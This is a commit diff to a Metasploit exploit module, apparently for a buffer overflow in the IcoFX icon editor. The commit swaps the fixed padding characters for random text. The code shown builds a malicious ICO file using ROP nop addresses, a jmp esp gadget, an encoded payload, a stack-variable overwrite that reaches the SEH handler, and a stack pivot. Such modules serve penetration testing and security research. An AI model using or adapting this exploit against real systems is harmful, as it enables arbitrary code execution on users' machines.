Land rapid7#2817, icofx_bof random things

Author: wvu

modules/exploits/windows/fileformat/icofx_bof.rb

@@ -72,25 +72,25 @@ def target_win7
     # ICONDIRENTRY structures 102 structures are using to overwrite
     # every structure = 16 bytes
     # 100 structures are used to reach the local variables
-    ico << "A" * 652
+    ico << rand_text(652)
     ico << [0x0044729d].pack("V") * 20 # ret # rop nops are used to allow code execution with the different opening methods
     ico << [0x0045cc21].pack("V")      # jmp esp
     ico << payload.encoded
-    ico << "B" * (
+    ico << rand_text(
       1600 -                 # 1600 = 16 ICONDIRENTRY struct size * 100
-      652 -                  # padding
+      652 -                  # padding to align the stack pivot
       80 -                   # rop nops size
       4 -                    # jmp esp pointer size
       payload.encoded.length
     )
     # The next ICONDIRENTRY allows to overwrite the interesting local variables
     # on the stack
     ico << [2].pack("V")          # Counter (remaining bytes) saved on the stack
-    ico << "A" * 8                # Padding
+    ico << rand_text(8)           # Padding
     ico << [0xfffffffe].pack("V") # Index to the dst buffer saved on the stack, allows to point to the SEH handler
     # The next ICONDIRENTRY allows to overwrite the seh handler
     ico << [0x00447296].pack("V") # Stackpivot: add esp, 0x800 # pop ebx # ret
-    ico << "B" * (0xc) # padding
+    ico << rand_text(0xc) # padding
     return ico
   end